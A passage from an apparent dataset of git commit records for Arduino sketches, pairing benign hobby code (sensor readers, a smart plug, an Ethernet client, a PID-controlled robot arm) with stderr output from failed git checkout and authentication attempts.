dial->setCV(map(slider->currentValue,0,100,dial->scaleMin,dial->scaleMax));\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Touchscreen_GUI_Demo_MEGA_SEEEDTOUCH\/Touchscreen_GUI_Demo_MEGA_SEEEDTOUCH.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"36b6a8f59946815d4fbb9e6b6940aad2f173a20e","subject":"Create LEDstream_LPD8806.ino","message":"Create LEDstream_LPD8806.ino","repos":"nicokapo34\/Arduino-Stereo-VUMeter-UI","old_file":"src\/Arduino\/LEDstream_LPD8806.ino","new_file":"src\/Arduino\/LEDstream_LPD8806.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nicokapo34\/Arduino-Stereo-VUMeter-UI.git\/'\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"54d566627748b613430058f5e09434e2fa536897","subject":"add arduino sample","message":"add arduino sample\n","repos":"AlexanderBrevig\/yalex","old_file":"yalex\/demo\/yalex_duino\/yalex_duino.ino","new_file":"yalex\/demo\/yalex_duino\/yalex_duino.ino","new_contents":"\/*\n * This is a sample that builds for ATmega328P\n * The serial can now be used to interact with your Arduino using yalex.s\n * \n * You will need to copy files from https:\/\/github.com\/AlexanderBrevig\/yalex\/tree\/master\/yalex\/src to this directory, excluding demo.c\n * Then, paste the #defines below to the top of yalex_config.h or find a way to -Ddefine them.\n * \n * STATS:\n * Sketch uses 10188 bytes (33%) of program storage space. \n * Global variables use 1454 bytes of dynamic memory.\n *\/\n \n#define YALEX_NUMERIC_TYPE int\n#define YALEX_ADDRESS_TYPE unsigned char\n#define YALEX_SIZE_STACK 10\n#define YALEX_SIZE_TOKEN_STR 11\n#define YALEX_SIZE_USER_TOKENS 5\n#define YALEX_SIZE_LAMBDA_STACK_STR 16\n#define YALEX_SIZE_LAMBDAS_STACK 10\n#define YALEX_SIZE_REGISTERS 8\n\nextern \"C\" { \n #include \"yalex.h\"\n #include \"yalex_system.h\"\n}\n\nyalex_world world;\nconst char BUFFER_SIZE = 32;\nchar buffer[BUFFER_SIZE];\n\nvoid replMessageCallback(const char* ptr) {\n Serial.println(ptr);\n}\n\nvoid tok_input_exec(yalex_world *world, stack_item **out) { pinMode(out[0]->data.number, INPUT); }\nvoid tok_output_exec(yalex_world *world, stack_item **out) { pinMode(out[0]->data.number, OUTPUT); }\nvoid tok_high_exec(yalex_world *world, stack_item **out) { digitalWrite(out[0]->data.number, HIGH); }\nvoid tok_low_exec(yalex_world *world, stack_item **out) { digitalWrite(out[0]->data.number, LOW); }\n \nvoid setup() {\n Serial.begin(115200);\n yalex_init(&world, replMessageCallback);\n char req_num[1] = { YALEX_TOKEN_NUM };\n yalex_system_token_register(\"input\", req_num, 1, tok_input_exec);\n yalex_system_token_register(\"output\", req_num, 1, tok_output_exec);\n yalex_system_token_register(\"high\", req_num, 1, tok_high_exec);\n yalex_system_token_register(\"low\", req_num, 1, tok_low_exec);\n}\n\nvoid loop() {\n if (Serial.available()) {\n memset(buffer, 0, BUFFER_SIZE);\n Serial.readBytesUntil('\\0', buffer, BUFFER_SIZE);\n yalex_repl(&world, buffer);\n }\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'yalex\/demo\/yalex_duino\/yalex_duino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dc43d082342613a35d859286fcd882cc31828829","subject":"tippingbucket code","message":"tippingbucket code\n","repos":"diondokter\/Tscrump-Weather-Station,diondokter\/Tscrump-Weather-Station,diondokter\/Tscrump-Weather-Station,diondokter\/Tscrump-Weather-Station,diondokter\/Tscrump-Weather-Station","old_file":"Arduino\/tippingbucket\/tippingbucket.ino","new_file":"Arduino\/tippingbucket\/tippingbucket.ino","new_contents":"\/***************************\n * Name: Marco Meijer\n * Description: arduino code to keep track of the rain meter, more information at: https:\/\/docs.google.com\/document\/d\/1lL3xof9Kub50YlRxNvad5bsnVTUUYBEN0Mo9YKesPtc\/edit?usp=sharing\n * Project: The Tscrump Weather Station\n * Group: Tscrump\n * Date: 19\/11\/2016\n ***************************\/\n\nconst int switchPin = 2; \/\/ the pin that the reed switch is attached to \nconst float mmpertip = 0.59; \/\/ the amount of mm of rain per bucket tip, this number depends on how the system is calibrated\n\n\n\/\/ Variables will change:\nint switchCloseCounter = 0; \/\/ counter for the number of times the switch has been closed\nint switchState = 0; \/\/ current state of the switch\nint lastSwitchState = 0; \/\/ previous state of the switch\n\n\nvoid setup() {\n \/\/ initialize the button pin as a input:\n pinMode(switchPin, INPUT);\n}\n\n\n\n\nvoid loop() {\n \/\/ read the switch input pin:\n switchState = digitalRead(switchPin);\n\n\n \/\/ compare the buttonState to its previous state\n if (switchState != lastSwitchState) {\n \/\/ if the state has changed, increment the counter\n if (switchState == HIGH) {\n \/\/ if the current state is HIGH then the button\n \/\/ wend from off to on:\n switchCloseCounter ++;\n }\n \/\/ Delay a little bit to avoid bouncing\n delay(20);\n }\n \/\/ save the current state as the last state,\n \/\/for next time through the loop\n lastSwitchState = switchState;\n\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/tippingbucket\/tippingbucket.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"37ae27856a0f12d4f618414208217aba8ef707b5","subject":"Hang Nguyen","message":"Hang Nguyen\n","repos":"thuhangnguyen8894\/SmartPlug,thuhangnguyen8894\/SmartPlug,thuhangnguyen8894\/SmartPlug","old_file":"OnOffPlug_2Second\/OnOffPlug_2Second.ino","new_file":"OnOffPlug_2Second\/OnOffPlug_2Second.ino","new_contents":"#include <SPI.h>\n#include <Ethernet.h>\n#include <EthernetUdp.h>\n\nbyte mac[] =\n{\n 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED\n};\n\nIPAddress ip(192, 168, 1, 177);\n\nchar packetBuffer[UDP_TX_PACKET_MAX_SIZE];\nchar ReplyBuffer[] = \"acknowledge\";\n\nEthernetUDP udp;\nIPAddress server(192, 168, 1, 155);\n\nint port = 8787;\n\nint power = 10;\n\nvoid setup() {\n Ethernet.begin(mac, ip);\n udp.begin(port);\n \n pinMode(power,OUTPUT);\n}\n\nvoid loop() {\n \n udp.beginPacket(server, port); \n \n digitalWrite(power, HIGH);\n delay(5000);\n udp.write(\"Tat\");\n udp.endPacket();\n \n udp.beginPacket(server, port);\n digitalWrite(power, LOW);\n delay(5000);\n udp.write(\"Bat\"); \n udp.endPacket();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'OnOffPlug_2Second\/OnOffPlug_2Second.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5021861453e6cc71fe930d8f839eb9c84a1bf9a7","subject":"Add pin definitions for the Arduino Mega 2560","message":"Add pin definitions for the Arduino Mega 2560\n","repos":"recursinging\/ruitar,recursinging\/ruitar","old_file":"ruitar.ino","new_file":"ruitar.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/recursinging\/ruitar.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c218a7e7e70b59cc5c8a38d86a90d97d85acb333","subject":"Adding an example sketch posting data to a server","message":"Adding an example sketch posting data to a server\n","repos":"micdevcamp\/rambletracker,micdevcamp\/rambletracker,micdevcamp\/rambletracker","old_file":"Arduino\/ApiClient.ino","new_file":"Arduino\/ApiClient.ino","new_contents":"\/*\n Web client\n\n This sketch connects to a website (http:\/\/www.google.com)\n using an Arduino Wiznet Ethernet shield.\n\n Circuit:\n * Ethernet shield attached to pins 10, 11, 12, 13\n\n created 18 Dec 2009\n by David A. Mellis\n modified 9 Apr 2012\n by Tom Igoe, based on work by Adrian McEwen\n\n *\/\n\n#include <SPI.h>\n#include <Ethernet.h>\n\n\/\/ Enter a MAC address for your controller below.\n\/\/ Newer Ethernet shields have a MAC address printed on a sticker on the shield\nbyte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\n\/\/ if you don't want to use DNS (and reduce your sketch size)\n\/\/ use the numeric IP instead of the name for the server:\n\/\/IPAddress server(74,125,232,128); \/\/ numeric IP for Google (no DNS)\nchar server[] = \"phpninja.be\"; \/\/ name address for Google (using DNS)\n\n\/\/ Set the static IP address to use if the DHCP fails to assign\nIPAddress ip(192, 168, 2, 2);\n\n\/\/ Initialize the Ethernet client library\n\/\/ with the IP address and port of the server\n\/\/ that you want to connect to (port 80 is default for HTTP):\nEthernetClient client;\n\nString data = \"message=ok&prout=prout\";\n\nvoid setup() {\n \/\/ Open serial communications and wait for port to open:\n Serial.begin(9600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for Leonardo only\n }\n\n \/\/ start the Ethernet connection:\n if (Ethernet.begin(mac) == 0) {\n Serial.println(\"Failed to configure Ethernet using DHCP\");\n \/\/ no point in carrying on, so do nothing forevermore:\n \/\/ try to congifure using IP address instead of DHCP:\n Ethernet.begin(mac, ip);\n }\n \/\/ give the Ethernet shield a second to initialize:\n delay(1000);\n Serial.println(\"connecting...\");\n\n \/\/ if you get a connection, report back via serial:\n if (client.connect(server, 80)) {\n Serial.println(\"connected\");\n \/\/ Make a HTTP GET request:\n \/\/Serial.println(\"[GET] \/event\");\n \/\/client.println(\"GET \/event HTTP\/1.1\");\n \/\/client.println(\"Content-Type: application\/json\");\n \/\/client.println(\"Host: lumen.luc-k.com\");\n \/\/client.println(\"Connection: close\");\n \/\/client.println();\n \n \/\/ Make a HTTP POST request:\n Serial.println(\"[POST] \/tracker.php\");\n client.println(\"POST \/tracker.php?message=nok HTTP\/1.1\");\n \/\/client.println(\"Content-Type: application\/json\");\n client.println(\"Host: phpninja.be\");\n client.println(\"Content-Type: application\/x-www-form-urlencoded\");\n client.print(\"Content-Length: \");\n client.println(data.length());\n client.println();\n client.println(data);\n client.println();\n client.println(\"Connection: close\");\n client.println();\n }\n else {\n \/\/ kf you didn't get a connection to the server:\n Serial.println(\"connection failed\");\n }\n}\n\nvoid loop()\n{\n \/\/ if there are incoming bytes available\n \/\/ from the server, read them and print them:\n if (client.available()) {\n char c = client.read();\n Serial.print(c);\n }\n\n \/\/ if the server's disconnected, stop the client:\n if (!client.connected()) {\n Serial.println();\n Serial.println(\"disconnecting.\");\n client.stop();\n\n \/\/ do nothing forevermore:\n while (true);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/ApiClient.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ad5cbf6dcf47addf05e1b4deb3545985f9a70feb","subject":"Create server.ino","message":"Create server.ino","repos":"AaronWebster\/mimmon,AaronWebster\/mimmon,AaronWebster\/mimmon","old_file":"server.ino","new_file":"server.ino","new_contents":"#include <RHReliableDatagram.h>\n#include <RH_RF95.h>\n#include <SPI.h>\n\n#define CLIENT_ADDRESS 1\n#define SERVER_ADDRESS 2\n\n\/* for feather32u4 *\/\n#define RFM95_CS 8\n#define RFM95_RST 4\n#define RFM95_INT 7\n\n\/\/ Singleton instance of the radio driver\nRH_RF95 driver(RFM95_CS, RFM95_INT);\n\n\/\/ Class to manage message delivery and receipt, using the driver declared above\nRHReliableDatagram manager(driver, SERVER_ADDRESS);\n\n\n#define RED_LED 13\n\nvoid setup() {\n pinMode(RED_LED, OUTPUT);\n digitalWrite(RED_LED, LOW);\n Serial.begin(9600);\n while (!Serial) ; \/\/ Wait for serial port to be available\n if (!manager.init())\n Serial.println(\"Init failed!\");\n \/\/ Defaults after init are 434.0MHz, 13dBm, Bw = 125 kHz, Cr = 4\/5, Sf = 128chips\/symbol, CRC on\n}\n\n\/\/ Dont put this on the stack:\nuint8_t buf[RH_RF95_MAX_MESSAGE_LEN];\n\nvoid loop() {\n if (manager.available()) {\n \/\/ Wait for a message addressed to us from the client\n uint8_t len = sizeof(buf);\n uint8_t from;\n if (manager.recvfromAck(buf, &len, &from)) {\n digitalWrite(RED_LED, HIGH);\n Serial.print(from, DEC);\n Serial.print(\"\\t\");\n Serial.println((char*)buf);\n digitalWrite(RED_LED, LOW);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'server.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"5d9e585828c28dd554a49551fa3de5cc5c7a5b79","subject":"Adds source file for Arduino code","message":"Adds source file for Arduino code\n\nAdds a mostly empty source file for the arduino code.\n\nAlso imports libraries needed for displaying data to the OLED.\n","repos":"SteveOverflow\/SystemMonitorDisplay","old_file":"arduino\/SystemMonitor\/SystemMonitor.ino","new_file":"arduino\/SystemMonitor\/SystemMonitor.ino","new_contents":"#include <SPI.h>\n#include <Wire.h>\n#include <Adafruit_GFX.h>\n#include <Adafruit_SSD1306.h>\n\n#define OLED_RESET 4\nAdafruit_SSD1306 display(OLED_RESET);\n\nvoid setup() {\n \/\/ Setup serial communications\n Serial.begin(9600);\n\n display.begin(SSD1306_SWITCHCAPVCC, 0x3C);\n display.clearDisplay();\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/SystemMonitor\/SystemMonitor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9f8467708f686bd93ada4ba5f1c7436d6828c0ae","subject":"with nanshen's help yeah","message":"with nanshen's help yeah\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"87bc66eb8005b46a5014fbc22f9318cc9504efd8","subject":"Inital commit of arm code.","message":"Inital commit of arm code.\n","repos":"gcc-robotics\/prometheus,gcc-robotics\/prometheus,gcc-robotics\/prometheus,gcc-robotics\/prometheus,gcc-robotics\/prometheus,gcc-robotics\/prometheus","old_file":"sistineChapel.ino","new_file":"sistineChapel.ino","new_contents":"\n#include <Wire.h>\n#include <Adafruit_PWMServoDriver.h>\n\nAdafruit_PWMServoDriver pwm = Adafruit_PWMServoDriver();\n\n\nint LED1 = 11;\nint LED2 = 12;\nint emergencyState = false;\n\n\/\/Digital pins that control the analog mux\nint s0=4;\nint s1=5;\nint s2=6;\nint s3=7;\n\/\/analog pin that reads the signal from the mux\nint SIG_pin= A0;\n\nfloat targetAngle = 120;\nfloat angle[]= {0,0,0,0,0};\nfloat ITerm[]= {0,0,0,0,0};\nfloat PID_Gain[5][3]={\n {.25,.01,.02},\n {.28,.1,.04},\n {.16,.01,0.02},\n {.28,.01,.01},\n {.17,.01,.01}\n };\nfloat angleErrorLast[]= {0,0,0,0,0};\nfloat timeLast[]={0,0,0,0,0};\nfloat currentAngle;\nfloat angleError;\n\nfloat kp = 1.5, ki =0, kd = 0;\nfloat timeNow, timeDifference;\n\nfloat PTerm, DTerm;\nint PIDTuningMotor = 0, PIDSelector;\n\n\nvoid setup() \n{ \n Serial.begin(115200);\n pwm.begin();\n pwm.setPWMFreq(60); \/\/sets the frequency for the pwm driver\n \n \/\/sets mux control pins as outputs\n pinMode(s0, OUTPUT);\n pinMode(s1, OUTPUT);\n pinMode(s2, OUTPUT);\n pinMode(s3, OUTPUT);\n \n pinMode(2, OUTPUT);\n pinMode(8, OUTPUT);\n pinMode(9, OUTPUT);\n\n \/\/defaults the outputs to low\n digitalWrite(s0,LOW);\n digitalWrite(s1,LOW);\n digitalWrite(s2,LOW);\n digitalWrite(s3,LOW);\n \n pinMode(LED1, OUTPUT);\n pinMode(LED2, OUTPUT);\n \n pinMode(10, INPUT);\n \n attachInterrupt(1, ESR, CHANGE );\n\n}\nvoid loop() \n{\n while(emergencyState == true)\n {\n brake(1);\n brake(2);\n brake(3);\n brake(4);\n brake(5);\n if(digitalRead(10)==HIGH)\n emergencyState = false;\n }\n \n \n motorControl(1);\n motorControl(2);\n motorControl(3);\n motorControl(4);\n motorControl(5);\n \n\n if(digitalRead(10)==HIGH)\n {\n ITerm[0] = 0;\n ITerm[1] = 0;\n ITerm[2] = 0;\n ITerm[3] = 0;\n ITerm[4] = 0;\n \n if(angle[4] == 120)\n {\n angle[0] = 30;\n angle[1] = 30;\n angle[2] = 30;\n angle[3] = 30;\n angle[4] = 30;\n }\n else \n {\n angle[0] = 120;\n angle[1] = 120;\n angle[2] = 120;\n angle[3] = 120;\n angle[4] = 120;\n }\n }\n \n \n digitalWrite(LED1, HIGH);\n digitalWrite(LED2, LOW);\n}\n\n\/\/Tells the motor driver to run the motors forward\nvoid forward(int motorNum)\n{\n int pin = 3*(motorNum-1); \/\/selects the first pin on the pwm driver \n pwm.setPWM(pin,4095,0); \/\/Sets the INA pin of the motor to LOW\n pwm.setPWM(pin+1,0,4095);\/\/Sets the INB pin of the motor to High\n}\n\n\/\/Tells the motor driver to run the motors in reverse\nvoid reverse(int motorNum)\n{\n int pin = 3*(motorNum-1);\/\/selects the first pin on the pwm driver\n pwm.setPWM(pin,0,4095);\/\/Sets the INA pin of the motor to HIGH\n pwm.setPWM(pin+1,4095,0);\/\/Sets the INB pin of the motor to LOW\n}\n\nvoid brake(int motorNum)\n{\n int pin = 3*(motorNum-1); \/\/selects the first pin on the pwm driver \n pwm.setPWM(pin,0,4095); \/\/Sets the INA pin of the motor to High\n pwm.setPWM(pin+1,0,4095);\/\/Sets the INB pin of the motor to High\n}\n\/\/Sets the PWM duty cycle for the desired motor\nvoid setPwm(int motorNum, float dutyCycle)\n{\n if(dutyCycle > 100)\n dutyCycle = 100;\n if(dutyCycle < 0)\n dutyCycle = 0;\n int pin = 3*(motorNum-1); \/\/selects the first pin ont he pwm driver\n float rate = dutyCycle*40.95;\/\/calculates the integer value for the desired duty cycle\n pwm.setPWM(pin+2,0,int(rate));\n}\n\n\/\/returns the current angle on the specified encoder\nfloat readEncoder(int encNum)\n{\n int analogAngle = readMux(encNum);\n float currentAngle = analogAngle*(360.0\/1024.0);\n return currentAngle;\n}\n\n\/\/return the value of the FSR\nint readFsr()\n{\n int FSRvalue = readMux(0);\n return FSRvalue;\n}\n\n\/\/returns the value of the specified channel fromt he mux\nint readMux(int channel)\n{\n int controlPin[] = {s0, s1, s2, s3};\n\n int muxChannel[16][4]={\n {0,0,0,0}, \/\/channel 0\n {1,0,0,0}, \/\/channel 1\n {0,1,0,0}, \/\/channel 2\n {1,1,0,0}, \/\/channel 3\n {0,0,1,0}, \/\/channel 4\n {1,0,1,0}, \/\/channel 5\n {0,1,1,0}, \/\/channel 6\n {1,1,1,0}, \/\/channel 7\n {0,0,0,1}, \/\/channel 8\n {1,0,0,1}, \/\/channel 9\n {0,1,0,1}, \/\/channel 10\n {1,1,0,1}, \/\/channel 11\n {0,0,1,1}, \/\/channel 12\n {1,0,1,1}, \/\/channel 13\n {0,1,1,1}, \/\/channel 14\n {1,1,1,1} \/\/channel 15\n };\n\n \/\/loop through the 4 sig\n for(int i = 0; i < 4; i ++){\n digitalWrite(controlPin[i], muxChannel[channel][i]);\n }\n\n \/\/read the value at the SIG pin\n int val = analogRead(SIG_pin);\n\n \/\/return the value\n return val;\n}\n\nvoid ESR ()\n{\n digitalWrite(LED1, LOW);\n digitalWrite(LED2, HIGH);\n emergencyState = true;\n \n \n}\n\nvoid chooseDirection(int motorNum)\n{ \n if((angleError >= -359 && angleError < -180)||(angleError >= 0 && angleError <= 180))\n forward(motorNum);\n else\n reverse(motorNum);\n}\nvoid motorControl(int motorNum)\n{\n Serial.print(\"Motor \");\n Serial.print(motorNum);\n \n \/\/sets the target angle according to motor being actuated\n targetAngle = angle[motorNum-1];\n Serial.print(\"\\tTarget Angle \");\n Serial.print(targetAngle);\n \n currentAngle = readEncoder(motorNum);\n Serial.print(\"\\tCurrent Angle \");\n Serial.print(currentAngle);\n \n angleError = currentAngle - targetAngle;\n chooseDirection(motorNum);\n if (abs(angleError)< 2)\n angleError = 0;\n setPID(motorNum);\n \n}\nvoid setPID(int motorNum)\n{\n\/*\n kp = (float(analogRead(A1)-91)\/932)*1;\n Serial.print(\"\\tkp \");\n Serial.print(kp);\n \n ki = (float(analogRead(A2)-89)\/934)*0.5;\n Serial.print(\"\\t\\tki \");\n Serial.print(ki);\n \n kd = (float(analogRead(A3)-88)\/935)*0.5;\n Serial.print(\"\\tkd \");\n Serial.print(kd);\n *\/ \n \/\/if(angleError < 0)\n \/\/ angleError += 360;\n \/\/determine the P term\n PIDTuning();\n \n PTerm = abs(angleError)*(PID_Gain[motorNum-1][0]);\n Serial.print(\"\\tkp \");\n Serial.print(PID_Gain[motorNum-1][0]);\n \n \/\/determine the time interval\n timeNow = millis();\n timeDifference = (timeNow - timeLast[motorNum-1])\/1000;\n \/\/determine the I term\n ITerm[motorNum-1] += timeDifference*abs(angleError)*(PID_Gain[motorNum-1][1]);\n Serial.print(\"\\tki \");\n Serial.print(PID_Gain[motorNum-1][1]);\n \n if(angleError ==0)\n ITerm[motorNum-1] = 0;\n \n \/\/determine the D term\n DTerm = (abs(angleErrorLast[motorNum-1])-abs(angleError))*(PID_Gain[motorNum-1][2])\/timeDifference;\n Serial.print(\"\\tkd \");\n Serial.print(PID_Gain[motorNum-1][2]);\n \n \n Serial.print(\"\\tPTerm \");\n Serial.print(PTerm);\n \n Serial.print(\"\\tITerm \");\n Serial.print(ITerm[motorNum-1]);\n \n Serial.print(\"\\tDTerm \");\n Serial.print(DTerm);\n \n Serial.print(\"\\tDutyCycle\");\n \n setPwm(motorNum,PTerm + ITerm[motorNum-1] + DTerm);\n Serial.println(PTerm + ITerm[motorNum-1] + DTerm);\n \n timeLast[motorNum-1] = timeNow;\n angleErrorLast[motorNum-1] = angleError;\n}\n\nvoid PIDTuning()\n{ \n if(readMux(7)<100)\n {\n \n PIDSelector = readMux(8);\n if(PIDSelector >= 674 && PIDSelector < 732)\n PIDTuningMotor = 0;\n else if(PIDSelector >= 732 && PIDSelector < 790)\n PIDTuningMotor = 1;\n else if(PIDSelector >= 790 && PIDSelector < 848)\n PIDTuningMotor = 2;\n else if(PIDSelector >= 848 && PIDSelector < 906)\n PIDTuningMotor = 3;\n else if(PIDSelector >= 906 && PIDSelector < 964)\n PIDTuningMotor = 4;\n else if(PIDSelector >= 732 && PIDSelector <= 1022)\n PIDTuningMotor = 5;\n \n PIDLight();\n \n \/*\n while(readMux(9))\n {\n PID_Gain[PIDTuningMotor-1][0] = (float(analogRead(A1)-91)\/932)*1;\n PID_Gain[PIDTuningMotor-1][1] = (float(analogRead(A2)-89)\/934)*0.5;\n PID_Gain[PIDTuningMotor-1][2] = (float(analogRead(A3)-88)\/935)*0.5;\n }\n \n Serial.print(\"\\tkp \");\n Serial.print(PID_Gain[PIDTuningMotor-1][0]);\n Serial.print(\"\\tPOT1 \");\n Serial.print(((analogRead(A1)-91)\/932)*1);\n Serial.print(\"\\tki \");\n Serial.print(PID_Gain[PIDTuningMotor-1][1]);\n Serial.print(\"\\tPOT2 \");\n Serial.print(((analogRead(A2)-89)\/934)*0.5);\n Serial.print(\"\\tkd \");\n Serial.print(PID_Gain[PIDTuningMotor-1][2]);\n Serial.print(\"\\tPOT3 \");\n Serial.print(((analogRead(A3)-88)\/935)*0.5);\n *\/\n }\n}\nvoid PIDLight()\n{\n if(PIDTuningMotor == 0)\n {\n digitalWrite(2,LOW);\n digitalWrite(8,LOW);\n digitalWrite(9,LOW);\n }\n else if(PIDTuningMotor == 1)\n {\n digitalWrite(2,HIGH);\n digitalWrite(8,LOW);\n digitalWrite(9,LOW);\n }\n else if(PIDTuningMotor == 2)\n {\n digitalWrite(2,LOW);\n digitalWrite(8,HIGH);\n digitalWrite(9,LOW);\n }\n else if(PIDTuningMotor == 3)\n {\n digitalWrite(2,HIGH);\n digitalWrite(8,HIGH);\n digitalWrite(9,LOW);\n }\n else if(PIDTuningMotor == 4)\n {\n digitalWrite(2,LOW);\n digitalWrite(8,LOW);\n digitalWrite(9,HIGH);\n }\n else if(PIDTuningMotor == 5)\n {\n digitalWrite(2,HIGH);\n digitalWrite(8,LOW);\n digitalWrite(9,HIGH);\n }\n}\n\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sistineChapel.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bbda19e2e16214ec2532f4a2ad32565ee40fc2f7","subject":"Added kick-ass game","message":"Added kick-ass game\n","repos":"frofro1964\/Arduino-Auto-Gauge","old_file":"grahams' test code\/game\/game.ino","new_file":"grahams' test code\/game\/game.ino","new_contents":"","old_contents":"","returncode":2,"stderr":"\/bin\/sh: 1: Syntax error: Unterminated quoted string\n","license":"apache-2.0","lang":"Arduino"} {"commit":"f8916f7b06ed3d6401a90ebeb2d51e64fa71d3a9","subject":"Minor tweaks","message":"Minor tweaks\n","repos":"mcrosson\/arduino_safe_lighting,mcrosson\/arduino_safe_lighting","old_file":"src\/src.ino","new_file":"src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mcrosson\/arduino_safe_lighting.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"5a2e8522f2db86c1e689ecd216cb53025dc2d70c","subject":"Add white mode toggle and cleanup method return","message":"Add white mode toggle and cleanup method return\n","repos":"mcrosson\/arduino_safe_lighting,mcrosson\/arduino_safe_lighting","old_file":"src\/src.ino","new_file":"src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mcrosson\/arduino_safe_lighting.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"9e0dc6070ee5803b48ea695c11330781ac1ed663","subject":"Create sensorflare-example.ino","message":"Create sensorflare-example.ino","repos":"LPFraile\/Sensorflare-SparkCore","old_file":"sensorflare-example.ino","new_file":"sensorflare-example.ino","new_contents":"\/\/Include the SensorFlare library \n#include \"sensorflare.h\"\n\n\/\/Initialize objects from the library\n\/\/One object of the class \"DigitalOut\" is initialized for \n\/\/every digital output that will be remote control\nSensorFlare::DigitalOut outputPin1(D7);\nSensorFlare::DigitalOut outputPin2(D6);\nSensorFlare::DigitalOut outputPin3(D5);\nSensorFlare::DigitalOut outputPin4(D4);\n\n\/\/One object of the class \"PWMOut\" is initialized for \n\/\/every PWM output that will be remote control\nSensorFlare::PWMOut pwm(A0);\n\n\/\/One object of the class \"VarPublish\" is initialized for every variable\n\/\/that will be published in order to access remotly from the cloud\n\/\/The argument that name the varible has a maximum of 12 characters\n\/\/Both methods initialized the variable that will be published as PUBLIC \nSensorFlare::VarPublish varTem(\"temperature\");\nSensorFlare::VarPublish varPir(\"pir\",\"PUBLIC\");\n\/\/Initialized the variable that will be published as PRIVATE\nSensorFlare::VarPublish varLight(\"light\",\"PRIVATE\");\n\n\/\/ Initialize the different variables that will be used in the program\nint tem_pin=A3;\nint light_pin=A4;\nint pir_pin=D0;\nint status;\nint new_status;\nbool change;\n\nvoid setup() {\n \n\/\/ Call the begin() functions for every object of the classes \"DigitalOut\" and \n\/\/\"PWMout\" to be wired up correct and available.\n outputPin1.begin();\n outputPin2.begin();\n outputPin3.begin();\n outputPin4.begin();\n pwm.begin();\n \n\/\/Set the extra pins that are used on the program, but are not controlled remotely\n pinMode(pir_pin,INPUT);\n\n}\n\nvoid loop() {\n \n \/\/ Temperature sensor\n float tem= analogRead(tem_pin); \/\/ read value from the sensor\n \/\/ The returned value from the Core is going to be in the range from 0 to 4095\n \/\/ Calculate the voltage from the sensor reading\n float voltage = (tem * 3.3) \/ 4095;\n float deg =voltage* 100; \/\/ multiply by 100 to get degrees in K\n float temperature = deg - 273.15; \/\/ subtract absolute zero to get degrees Celsius\n \n \/\/Luminosity\n float photocell= analogRead(light_pin); \/\/ read value from the sensor\n \/\/ The returned value from the Core is going to be in the range from 0 to 4095\n \/\/ Calculate the voltage from the sensor reading\n float Vphotocell = ((photocell * 3.3) \/ 4095);\n float rl=(Vphotocell*10)\/(3.3-Vphotocell);\/\/Photoresistor value in K\u03a9\n float value=500\/rl;\/\/luminosity \n int light= (int) value; \n \n \/\/Find the change of state of the PIR sensor. Recognize move\n new_status=digitalRead(pir_pin);\n if (status!=new_status){\n status=new_status;\n change=TRUE;\n }\n \n \/\/Publish every time that exist a change in the pin on which is connect the output of the PIR\n if (change==TRUE) {\n varPir.Publish(status,0);\/\/Publish the variable at the called method time \n change=FALSE;\n }\n \n \/\/Publish the variables every 15 seconds.\n varTem.Publish(temperature,15);\n varLight.Publish(light,15);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sensorflare-example.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"45fce356b6f79e00c3cb110f196405555365d6a4","subject":"Create example.ino","message":"Create 